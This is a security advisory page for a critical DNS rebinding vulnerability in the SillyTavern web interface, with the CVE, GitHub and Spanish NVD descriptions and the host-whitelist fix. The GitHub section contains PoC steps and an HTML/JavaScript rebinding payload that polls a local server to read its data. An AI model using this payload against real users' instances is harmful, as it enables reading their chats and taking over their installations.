9.7critical
SillyTavern Web Interface Vulnerable to DNS Rebinding
- Severity
- 9.7critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.26% (higher than 18% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-7cxj-w27x-x78q
Description
SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.13.4, the web user interface for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing attacks, etc. The vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable. While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| SillyTavern SillyTavern | < 1.13.4 | CVE List |
| sillytavern (npm) | before 1.13.4 | GitHub Advisory Database |
All scores
| GitHub_M | 9.7critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| GitHub | 9.6critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
Classification
What each source says
CVE List
SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.13.4, the web user interface for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing attacks, etc. The vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable. While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
GitHub Advisory Database
Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC
- Host the PoC HTML file on a
/rebind.htmlendpoint (or any other endpoint) on a web server on port 8000 - Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
- Replace the URL in the HTML with the returned URL on the site
- Go to
http://[URL]:8000/rebind.htmlin firefox or on any mobile browser if you're using termux - Check the developer tools console. It should return all of the data
Here is the PoC code:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
while (true) {
try {
let res = await fetch("http://[DOMAIN HERE]:8000/");
let text = await res.text();
if (text.includes("Directory listing for /")) {
console.log("Still attacker server, retrying...");
await new Promise(r => setTimeout(r, 2000));
continue; // don't break yet
}
console.log("GOT VICTIM RESPONSE!");
console.log(text.substring(0, 300));
break;
} catch (e) {
console.log("Fetch failed, retrying...", e);
await new Promise(r => setTimeout(r, 2000));
}
}
}
tryRebind();
</script>
</body>
</html>
Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
NVD (es)
SillyTavern es una interfaz de usuario instalada localmente que permite a los usuarios interactuar con grandes modelos de lenguaje de generación de texto, motores de generación de imágenes y modelos de voz de texto a voz. En versiones anteriores a la 1.13.4, la interfaz de usuario web de SillyTavern es susceptible a DNS rebinding, permitiendo a los atacantes realizar acciones como instalar extensiones maliciosas, leer chats, inyectar HTML arbitrario para ataques de phishing, etc. La vulnerabilidad ha sido parcheada en la versión 1.13.4 mediante la introducción de una configuración de servidor que habilita una validación de nombres de host en solicitudes HTTP entrantes según la lista proporcionada de hosts permitidos: 'hostWhitelist.enabled' en el archivo config.yaml o la variable de entorno 'SILLYTAVERN_HOSTWHITELIST_ENABLED'. Aunque la configuración está deshabilitada por defecto para respetar una amplia variedad de configuraciones de usuario existentes y mantener la compatibilidad con versiones anteriores, se recomienda a los usuarios existentes y nuevos que revisen sus configuraciones de servidor y apliquen los cambios necesarios a su configuración, especialmente si se aloja a través de la red local sin usar SSL.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-59159 changed 2025-10-06 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-7cxj-w27x-x78q changed 2025-10-06 | CC-BY-4.0 |
| NVD | CVE-2025-59159 changed 2026-10-19 | Public domain |